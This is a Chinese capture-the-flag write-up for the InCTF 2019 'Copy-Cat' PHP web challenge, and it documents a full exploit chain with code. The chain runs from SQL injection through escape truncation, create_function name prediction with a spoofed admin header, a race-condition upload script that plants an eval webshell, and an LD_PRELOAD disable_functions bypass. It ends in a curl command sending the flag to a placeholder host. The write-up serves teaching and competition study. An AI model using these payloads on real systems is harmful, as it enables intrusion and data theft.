2019inCTF的Copy-Cat

前言

感觉inctf的题目质量是真的高,可以学到很多的东西,因此特意花时间总结一波。

题目难度还是很大的最后只有4个队伍完成了这个挑战。

题目分析
题目的源代码:Copy-Cat.zip
这是一个白盒测试,提供了完整的源代码。下面是进入这个挑战的首页面,你将会看到一个简单的登陆功能:

如果你分析下载的代码的话,你将会看到用户的账户名和密码通过了下面的验证。
login.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

include("config.php");
include("functions.php");

session_start();

$user = $_POST['username'];
$pass = $_POST['password'];

$user = check($user);
$pass = check($pass); //I know you are naughty!!


$sql = "SELECT username, password FROM inctf2019_cat WHERE username='" .$user ."' && password='" .$pass ."'";
$result = $conn->query($sql);


if ($result->num_rows > 0 || $_SESSION['logged']==1){
$_SESSION['logged'] = 1;
header("Location: admin.php");
}
else{
echo "Incorrect Credentials"."<br>";
}

$conn->close();


?>
可以看到通过用check对输入的usernamepassword进行过滤。
我们随后跟进check函数,这个函数函数的功能是首先使用real_escape_string函数将用户输入的特殊符号给转义成完全的字符如(",',\)等,然后还要检查长度值。
functions.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php

session_start();
include("config.php");

function escape($str){
global $conn;
$str = $conn->real_escape_string($str);
return $str;
}

function check($tocheck){
$tocheck = trim(escape($tocheck));
if(strlen($tocheck)<5){
die("For God Sake, don't try to HACK me!!");
}
if(strlen($tocheck)>11){
$tocheck = substr($tocheck, 0, 11);
}
return $tocheck;
}

function ExtractZipFile($file,$path){
$zip = new ZipArchive;
if ($zip->open($file) === TRUE) {
$zip->extractTo($path);
$zip->close();
}
}

function CheckDir($path) {
$files = scandir($path);
foreach ($files as $file) {
$filepath = "$path/$file";
if (is_file($filepath)) {
$parts = pathinfo($file);
$ext = strtolower($parts['extension']);
if (strpos($ext, 'php') === false &&
strpos($ext, 'pl') === false &&
strpos($ext, 'py') === false &&
strpos($ext, 'cgi') === false &&
strpos($ext, 'asp') === false &&
strpos($ext, 'js') === false &&
strpos($ext, 'rb') === false &&
strpos($ext, 'htaccess') === false &&
strpos($ext, 'jar') === false) {
@chmod($filepath, 0666);
} else {
@chmod($filepath, 0666); // just in case the unlink fails for some reason
unlink($filepath);
}
} elseif ($file != '.' && $file != '..' && is_dir($filepath)) {
CheckDir($filepath);
}
}
}

function is_login(){
if($_SESSION['logged']!=1){
die("Login first");
}
}

function is_admin(){
if($_SESSION['admin']!="True"){
die("Sorry, It seems you are not Admin...are you? If yes, proove it then !!");
}
}

function send($random){
$phone_number="xxxxxxxxxx";
//Send random value to his phone number
}

?>
通过仔细的观察上面的代码,我们可以看到如果用户的输入值长度大于11个字符,则可以通过substr截断输入的值,结合上面提到的read_escape_string函数,这将给我们提供了SQL注入的可能。
利用的方式如下:
1
2
3
4
5
payload
username = 1234567890\ , password = or 1#

result
$sql = "SELECT username, password FROM inctf2019_cat WHERE username='1234567890\' && password=' or 1#';
我们使用下面的代码实验一波:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

function escape($str){
$str = addslashes($str);
return $str;
}

function check($tocheck){
$tocheck = trim(escape($tocheck));
if(strlen($tocheck)<5){
die("For God Sake, don't try to HACK me!!");
}
if(strlen($tocheck)>11){
$tocheck = substr($tocheck, 0, 11);
}
return $tocheck;
}

$username ="1234567890\\";
$password =" or 1#";
$user=check($username);
$pass=check($password);
$sql = "SELECT username, password FROM inctf2019_cat WHERE username='" .$user ."' && password='" .$pass ."'";
echo $sql;
最终的结果:
1
SELECT username, password FROM inctf2019_cat WHERE username='1234567890\' && password='or 1#'
现在我们可以绕过第一步成功的登陆,但是登陆后,你跳转到admin.php页面将会显示Sorry, It seems you are not Admin…are you? If yes, proove it then !!
现在我们开始阅读functions下面的源代码找到如下的位置:
1
2
3
4
5
6
<?php
function is_admin(){
if($_SESSION['admin']!="True"){
die("Sorry, It seems you are not Admin...are you? If yes, proove it then !!");
}
}
这段代码显示了怎样判断用户是admin的。
现在我们要看它在哪里设置了成为admin跟进到remote_admin.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

include "functions.php";
session_start();

is_login();

# If admin wants to open his website remotely

$remote_admin = create_function("",'if(isset($_SERVER["HTTP_I_AM_ADMIN"])){$_SERVER["REMOTE_ADDR"] = $_SERVER["HTTP_I_AM_ADMIN"];}');

$random = bin2hex(openssl_random_pseudo_bytes(32));

eval("function admin_$random() {"
."global \$remote_admin; \$remote_admin();"
."}");

send($random);

$_GET['random'](); //Only Admin knows next random value; You don't have to worry about HOW?

if($_SERVER['REMOTE_ADDR']=="127.0.0.1"){
$_SESSION['admin'] = "True";
}


?>
通过分析代码,我们可以看到仅当通过$_SERVER["REMOTE_ADDR"]访问改页面的IP为127.0.0.1时,会话中的admin值才设置为True。因此我们要用127.0.0.1来覆盖$_SERVER["HTTP_I_AM_ADMIN"]的值,并通过调用create_function创建函数来实现。
但是你会发现上面的那个函数没有办法调用,因为你要构造一个admin_+$random = bin2hex(openssl_random_pseudo_bytes(32));的函数,然后通过$_GET['random']();传入来调用,但是那个$random是随机的你没有办法预测。
然后我们google了几个小时找到了关于create_function注入的相关知识。
大家可以阅读这两篇博客:
PHP create_function()代码注入
create_function函数如何实现RCE
最后阅读通过阅读php的create_function源代码解决了这个问题。
zend_builtin_function.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#define LAMBDA_TEMP_FUNCNAME	"__lambda_func"
/* {{{ proto string create_function(string args, string code)
Creates an anonymous function, and returns its name (funny, eh?) */
ZEND_FUNCTION(create_function)
{
..省略..

function_name = zend_string_alloc(sizeof("0lambda_")+MAX_LENGTH_OF_LONG, 0);
ZSTR_VAL(function_name)[0] = '\0';

do {
ZSTR_LEN(function_name) = snprintf(ZSTR_VAL(function_name) + 1, sizeof("lambda_")+MAX_LENGTH_OF_LONG, "lambda_%d", ++EG(lambda_count)) + 1;
} while (zend_hash_add_ptr(EG(function_table), function_name, func) == NULL);
RETURN_NEW_STR(function_name);
} else {
zend_hash_str_del(EG(function_table), LAMBDA_TEMP_FUNCNAME, sizeof(LAMBDA_TEMP_FUNCNAME)-1);
RETURN_FALSE;
}
}
上面的源代码中,我们可以看到create_function函数的返回值为\x00lambda_%d,并且实际的本地测试显示匿名函数最终以\x00lambda_1,\x00lambda_2等字符串形式返回。
然后回到上面的代码,我们可以预测$remote_admin变量中匿名函数的字符串名称值,以便我们可以调用匿名函数来获取管理员的权限,而无需直接调用admin_$random()函数。
绕过的payload如下:
1
2
3
4
5
6
7
GET /remote_admin.php?random=%00lambda_1 HTTP/1.1
Host: 3.15.186.158
Cache-Control: max-age=0
I-AM-ADMIN: 127.0.0.1
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=2grnkh3472812hpf3jg4p2m5g6
Connection: close
现在,获得管理员权限后,如果我们再次访问admin.php页面你可以看到有一个上传功能。

上传功能的代码如下:
upload.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
session_start();
include("functions.php");

is_login();
is_admin();

$SANDBOX = getcwd() . "/uploads/" . md5("xxSpyD3rxx" . $_SERVER["REMOTE_ADDR"] . "xxxisbackxxx");
@mkdir($SANDBOX);
@chdir($SANDBOX);

if (isset($_FILES['file'])) {
ExtractZipFile($_FILES['file']['tmp_name'], $SANDBOX);
CheckDir($SANDBOX);
echo "File is at: " . "/uploads/" . md5("xxSpyD3rxx" . $_SERVER["REMOTE_ADDR"] . "xxxisbackxxx");
}


?>
functions.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
..省略..
function ExtractZipFile($file,$path){
$zip = new ZipArchive;
if ($zip->open($file) === TRUE) {
// 解压zip文件
$zip->extractTo($path);
$zip->close();
}
}

function CheckDir($path) {
$files = scandir($path);
foreach ($files as $file) {
$filepath = "$path/$file";
if (is_file($filepath)) {
$parts = pathinfo($file);
$ext = strtolower($parts['extension']);
if (strpos($ext, 'php') === false &&
strpos($ext, 'pl') === false &&
strpos($ext, 'py') === false &&
strpos($ext, 'cgi') === false &&
strpos($ext, 'asp') === false &&
strpos($ext, 'js') === false &&
strpos($ext, 'rb') === false &&
strpos($ext, 'htaccess') === false &&
strpos($ext, 'jar') === false) {
@chmod($filepath, 0666);
} else {
// 条件竞争写入webShell
@chmod($filepath, 0666); // just in case the unlink fails for some reason
unlink($filepath);
}
} elseif ($file != '.' && $file != '..' && is_dir($filepath)) {
CheckDir($filepath);
}
}
}
..省略..
?>
代码的流程如下:
解压缩上传的Zip文件到./uploads/md5_hex_value/目录下,并且将会验证上传的文件后缀来判断是否要删除文件。
但是上传的文件是先保存后在删除的,因此我们可以用条件竞争的方式来getshell。
youngsin.php(将此文件压缩成youngsin.zip)
1
2
3
4
5
<?php 
mkdir("../youngsin/");
file_put_contents("../youngsin/webshell.php",'<?php eval($_GET[0]);?>');
echo "WebShell Path = ".getcwd()."/../youngsin/webshell.php";
?>
raceCondition.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import threading

def upload_zip():
for i in range(0,1000):
url = "http://3.15.186.158/upload.php"
multiple_files = [
('file', ('foo.png', open('C:\Users\Administrator\Desktop/1/youngsin.zip',"rb"), 'application/x-zip-compressed'))]
header = {"Cookie":"PHPSESSID=2grnkh3472812hpf3jg4p2m5g6"}
result = requests.post(url,headers=header,files=multiple_files).text

def get_shell():
for i in range(0, 1000):
url = "http://3.15.186.158/uploads/e8d8a3c4bd79dbe75be52c8328e2f1bb/youngsin.php"
header = {"Cookie": "PHPSESSID=2grnkh3472812hpf3jg4p2m5g6"}
result = requests.get(url, headers=header).text
if "404 Not Found" not in result:
print result

threads = []

for i in range(0,100):
threading.Thread(target=upload_zip,args=('')).start()
threading.Thread(target=get_shell, args=('')).start()
结果如下:
1
WebShell Path = /var/www/html/uploads/e8d8a3c4bd79dbe75be52c8328e2f1bb/../youngsin/webshell.php
如果你访问生成的webshell,你将看到webshell已经正常上传。

现在,我们已经成功的上传了webshell,但是我们还是不能去读取flag存在的文件因为这个文件只有执行的权限,因此我们并不能通过简单的file Function来获取。
通过phpinfo()我们可以看到,disable_functions的设置如下:
disable_functions
1
2
3
4
5
6
7
8
9
10
11
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,
pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,
pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,
pcntl_signal_get_handler,proc_open,pcntl_signal_dispatch,pcntl_get_last_error,
pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,
pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
error_log,system,exec,shell_exec,
popen,passthru,link,symlink,
syslog,imap_open,ld,mail,
fread,fopen,file_get_contents,readfile,
chdir
基本上,我们可以看到php中所有有关shell的函数都被禁用了,但是禁用函数列表没有禁用putenv,因此我们可以使用LD_PRELOAD来突破disable_functions来执行系统命令。
LD_PRELOAD为我们提供了劫持系统函数的能力,但是前提是我们要控制php启动外部程序才行(只要有进程启动行为即可),我们常用的启动一个新进程的方法有mail,imap_open,error_log,syslogimagick(没有安装此模块),其内部原理都是通过execve来开启一个新的进程。
但是禁用函数列表全部把我们可以用的函数全部给禁用了现在我们就要看看php安装了哪些可以用的模块。
我们最后在phpinfo中看到了一个名为mbstring的扩展模块。

如果安装了该模块,则可以使用Multibyte character encoding的功能,其中的mb_send_mail函数的功能可以替代mail,并且达到相同的效果,如下所示:

对于这个函数,由于它除了编码部分其余与mail函数一样,因此通过execve进行sendmail调用是在内部进行的,并且不应用disable_function,因此我们可以通过使用LD_PRELOAD来劫持系统函数,执行系统命令。
下面简要介绍一下LD_PRELOAD怎样劫持系统函数。
1. 创建一个覆盖execve的共享库(例如:gcc -shared -fPIC evil.c -o evil.so)
2. 上传.so文件。
3. 通过使用php的putenv来设置LD_PRELOAD,让我们的动态链接程序被优先调用。
4. 调用一个函数(例如:mail,imap_open,error_log等),该函数在php内部调用execve
如果你对这项技术感到好奇,你可以通过google搜索关键字如php ld_preload bypass来详细的了解。
执行上述过程的代码如下:
evil.c
1
2
3
4
5
6
7
8
9
10
#include <stdlib.h>

u_int getuid(void){

char *command;
command = getenv("youngsin");
system(command);

return 0;
}
php payload
1
/uploads/youngsin/webshell.php?0=putenv("LD_PRELOAD=/tmp/evil.so");putenv("youngsin=curl http://my_ip:9996/ -d id=`/readFlag|base64|tr -d '\n'`");mb_send_mail("a","a","a");
执行payload后,你将会在你的服务器日志中获取flag。
1
Flag = inctf{Ohh,you_are_the_ultimate_chainer,Bypassing_disable_function_wasn't_fun?:SpyD3r}
参考资料
https://www.php.net/manual/en/mbstring.installation.php
https://www.php.net/manual/en/function.mb-send-mail.php
https://www.cnblogs.com/hookjoy/p/10167315.html
https://www.cnblogs.com/net66/p/5609026.html
https://wooyun.js.org/drops/%E5%88%A9%E7%94%A8%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8FLD_PRELOAD%E6%9D%A5%E7%BB%95%E8%BF%87php%20disable_function%E6%89%A7%E8%A1%8C%E7%B3%BB%E7%BB%9F%E5%91%BD%E4%BB%A4.html
https://blog.bi0s.in/2019/10/16/Web/inctfi19-web-writeups/